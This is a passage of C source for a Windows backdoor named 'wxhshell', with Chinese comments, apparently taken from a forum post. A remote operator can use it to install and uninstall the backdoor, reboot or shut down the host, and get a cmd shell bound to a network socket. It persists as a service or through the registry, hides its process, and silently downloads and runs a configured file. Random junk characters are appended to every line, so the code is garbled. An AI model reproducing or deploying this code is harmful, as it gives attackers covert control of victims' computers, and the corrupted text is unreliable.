3u[8;1}7Q  
    switch(cmd[0]) { <uS/8MP{  
  3Mm_xYDud  
  // 帮助 vV$t`PEY  
  case '?': { LQr!0p.i"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RCYv2=m>Q  
    break; 6nE/8m  
  } ?D2a"a$^  
  // 安装 <XG]aYBR  
  case 'i': { 9 Xl#$d5  
    if(Install()) 6{^\7`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +D4m@O  
    else CmbgEGIh[a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #9r}Kr=P  
    break; 2)}*'_E9  
    } zSD_t  
  // 卸载 %{4 U\4d@'  
  case 'r': { F(."nUrf  
    if(Uninstall()) _0gdt4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,g}$u'A+d  
    else "= %"@"<)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jUNt4  
    break; ](Wa:U}Xs  
    } 2]9 2J  
  // 显示 wxhshell 所在路径 Kw;gQk~R!  
  case 'p': { "0Z /|&  
    char svExeFile[MAX_PATH]; =y@0i l+V  
    strcpy(svExeFile,"\n\r"); $\vNST E  
      strcat(svExeFile,ExeFile); ,{S $&g*  
        send(wsh,svExeFile,strlen(svExeFile),0); "ldd&><  
    break; 4v _Hh<%  
    } ,aUbB8  
  // 重启 0fBwy/:  
  case 'b': { /3rNX}tOMH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2jC:uk  
    if(Boot(REBOOT)) ogQfzk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z}0xK6  
    else { gsEcvkj*  
    closesocket(wsh); ]i6* $qgma  
    ExitThread(0); \+sa[jK  
    } (M1YOK)I  
    break; M_UmnqN1C  
    } bri8o"  
  // 关机 \WTKw x  
  case 'd': { 6@/k|t>OT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7- LjBlH  
    if(Boot(SHUTDOWN)) MG.c`t/w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#T %N@X  
    else { CP; <B1  
    closesocket(wsh); WHv6E!^\_  
    ExitThread(0); @{fwM;me]P  
    } oz.z>+Q  
    break; 0{ B<A^Bf  
    } j2IK\~W?-  
  // 获取shell BI-'&kPk  
  case 's': { o[ks-C>jw  
    CmdShell(wsh); k*6"!J%A  
    closesocket(wsh); v@GhwL  
    ExitThread(0); b:~#;$g  
    break; .'H$|"( v  
  } }PBL  
  // 退出 $'5rS$]a/  
  case 'x': { ({C[RsY=6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p.8  
    CloseIt(wsh); [kN_b<Pc,  
    break; 8'zl\:@N  
    } O/Hj-u6&A  
  // 离开 Ad-5Zn c5  
  case 'q': { z\UXn RL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .-T P 1C  
    closesocket(wsh); |:#Ug  
    WSACleanup(); GXD<X_[  
    exit(1); sUc[!S:/  
    break; R\7r!38  
        } %>9L}OAm  
  } S& IW]ffK  
  } \ILNx^$EL  
l1<=3+d  
  // 提示信息 <a=OiY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .xT{Rz  
} P/[RH e  
  } `@1e{ ?$  
KGc.YUoE  
  return; qyVARy  
} u1UCe  
(n>Gi;u(R  
// shell模块句柄 p9 ,[kb  
int CmdShell(SOCKET sock) 5RWqHPw+  
{ cH5  
STARTUPINFO si; fB7Jx6   
ZeroMemory(&si,sizeof(si)); MS#*3Md&y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nu1XT 1q1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xr8fmJtg'  
PROCESS_INFORMATION ProcessInfo; 3J 5,V  
char cmdline[]="cmd"; T*#M'H7LSQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0nD?X+u  
  return 0; \*{MgwF  
} Ths~8{dMb  
BGj!/E  
// 自身启动模式 F Xr\  
int StartFromService(void) gXs9qY%=  
{ _U4@W+lhX_  
typedef struct (gVN<Es  
{ O"o|8 l}M/  
  DWORD ExitStatus; tl~ZuS/  
  DWORD PebBaseAddress; Vi^vG`L9  
  DWORD AffinityMask; n!8W@qhew  
  DWORD BasePriority; wY%t# [T3  
  ULONG UniqueProcessId; t@MUNW`Q  
  ULONG InheritedFromUniqueProcessId; 0`WFuFi^o  
}   PROCESS_BASIC_INFORMATION; $n!5JS@40  
J| wk})?  
PROCNTQSIP NtQueryInformationProcess; FF^h(Ea  
1Vz^?t:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "PN4{"`V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VKYljY0#  
b|Ge#o  
  HANDLE             hProcess; C_q2bI  
  PROCESS_BASIC_INFORMATION pbi; Y-1K'VhT  
FMF  mn|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C|IHRw`[  
  if(NULL == hInst ) return 0; "bRjY?D  
/\mYXi \  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LQ%QFfC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E.Th}+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $vO<v<I'Gb  
#m<uG5l`  
  if (!NtQueryInformationProcess) return 0; '4#NVXVQm  
.XeZjoJ$z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EJ<L,QH3  
  if(!hProcess) return 0; I Ij:3HP  
:XAyMK7   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yN`&oya  
t$VRNZ`dy  
  CloseHandle(hProcess); <Dgf'Gr J  
gq*W 0S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T@P~A)>yo  
if(hProcess==NULL) return 0; )OFN0'  
#tsP  
HMODULE hMod; w;Fy/XQ  
char procName[255]; _!,2"dS  
unsigned long cbNeeded; 9SA%'  
%rrD+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N+ ]O#Js?  
@Z#h?:  
  CloseHandle(hProcess); H$^9#{  
SD%3B!cpX  
if(strstr(procName,"services")) return 1; // 以服务启动 Fz<1xyc(  
ZRw^< +  
  return 0; // 注册表启动 kRwY#  
} bk=;=K  
dZ* &3.#D5  
// 主模块 Y$Rte .?  
int StartWxhshell(LPSTR lpCmdLine) m*iSW]&  
{ NPO!J^^  
  SOCKET wsl; EFI!b60mc  
BOOL val=TRUE; gG.+3=  
  int port=0; xfX|AC  
  struct sockaddr_in door; T1Z*>(M  
) d'H&c3  
  if(wscfg.ws_autoins) Install(); daSx^/$R  
u^]Gc p  
port=atoi(lpCmdLine); vNdX  
N:pP@o  
if(port<=0) port=wscfg.ws_port; $}S0LZ_H  
Yg&/^  
  WSADATA data; 2{ l|<'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W;!V_-:  
:iE`=( o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T 8 ]*bw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kt_O=  
  door.sin_family = AF_INET; @Ss W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v;?W|kJ.u  
  door.sin_port = htons(port); uhaHY`w  
Ywt9^M|z;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n|Y}M]u,  
closesocket(wsl); G#NbLj`h  
return 1; v5?)J91  
} KkzG#'I1  
zZ51jA9x  
  if(listen(wsl,2) == INVALID_SOCKET) { qJl DQc-  
closesocket(wsl); ER&\2,fZ  
return 1; Ji=`XsV  
} mrKIiaU<J  
  Wxhshell(wsl); ${ DSH  
  WSACleanup(); o,J8n;"l  
V^n=@CZT9C  
return 0; %)dp a  
x+'Ea.^  
} kDQE*o  
l$HBYA\Qh  
// 以NT服务方式启动 q`z1ht nf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?/,V{!UTtq  
{ ~K|ha26W  
DWORD   status = 0; bYhG`1,$-a  
  DWORD   specificError = 0xfffffff; Y![ i=/  
zt|1tU:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tOk=m'aUK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Abmi=]\bx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )`W|J%w+  
  serviceStatus.dwWin32ExitCode     = 0; MX!N?k#KhP  
  serviceStatus.dwServiceSpecificExitCode = 0; [?,+DY  
  serviceStatus.dwCheckPoint       = 0; #\xy,C'Y  
  serviceStatus.dwWaitHint       = 0; 4v5qK  
SjA'<ZX>TM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QiVKaBS8  
  if (hServiceStatusHandle==0) return; u~'_Uqp  
,}>b\(Lk  
status = GetLastError(); \>j@! W  
  if (status!=NO_ERROR) UIIsgNca  
{ >8vq`,e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CSWA/#&8>  
    serviceStatus.dwCheckPoint       = 0; ZN'B @E=p  
    serviceStatus.dwWaitHint       = 0; wF6a*b@v  
    serviceStatus.dwWin32ExitCode     = status; # X{lV]Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; [(8s\>T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <5FGL96  
    return; CL(D&8v8~  
  } C\bJ_vl;'  
mB bGj3u;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mL;oR4{  
  serviceStatus.dwCheckPoint       = 0; ,]9p&xu  
  serviceStatus.dwWaitHint       = 0; 4/S3hH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7g oRj  
} u-.nR}DM_  
rT4qx2u  
// 处理NT服务事件,比如:启动、停止 g*4^HbVxt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _IxYnm`pc  
{ !@T~m1L eY  
switch(fdwControl) mpIR: Im  
{ mv$gL  
case SERVICE_CONTROL_STOP: rJ6N'vw>  
  serviceStatus.dwWin32ExitCode = 0; &wkb r2P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k#V\O2lb  
  serviceStatus.dwCheckPoint   = 0; "1DlusmCCB  
  serviceStatus.dwWaitHint     = 0; r=RiuxxTq  
  { (v}l#M7w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rp_}_hL0  
  } 0Uk;&a0s  
  return; 8f'r_,"  
case SERVICE_CONTROL_PAUSE: v.,D,6qZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :V)=/mR  
  break; ):L0{W{  
case SERVICE_CONTROL_CONTINUE: (J(SwL|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YXU2UIY<~  
  break; ]yFO~4Nu  
case SERVICE_CONTROL_INTERROGATE: ] J|#WtS  
  break; ^ Vc(oa&;  
}; /kO%aN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A*]sN8  
} 4a.8n!sys  
`'bu8JK  
// 标准应用程序主函数 {HVsRpNEf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |F ~U  
{ "p>kiNu  
$ 93j;  
// 获取操作系统版本 b'`C<Rk  
OsIsNt=GetOsVer(); 4C;"4''L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rZ RTQ  
7 3ABop  
  // 从命令行安装 m^tf=O<  
  if(strpbrk(lpCmdLine,"iI")) Install(); {~Q}{ha  
2 jxh7\zE  
  // 下载执行文件 jnFN{(VH  
if(wscfg.ws_downexe) { (~PT(B?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O;(n[k  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Hb0)M@y7  
} pWoeF=+y]W  
JY D\VaW  
if(!OsIsNt) { ZRa~miKyM  
// 如果时win9x,隐藏进程并且设置为注册表启动 GgvMd~  
HideProc(); _znn`_N:v  
StartWxhshell(lpCmdLine); i$!K{H1{9  
} U[ogtfv`m  
else qvJQbo[.9P  
  if(StartFromService()) Y)AHM0;g  
  // 以服务方式启动 gm: xtN  
  StartServiceCtrlDispatcher(DispatchTable); "Z-YZ>2  
else ,!^;<UR:  
  // 普通方式启动 -e+im(2D=  
  StartWxhshell(lpCmdLine); 5~i}!n  
qFY>/fCP4  
return 0; Te>m9Pav  
}
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只看该作者 1 发表于: 2006-10-10
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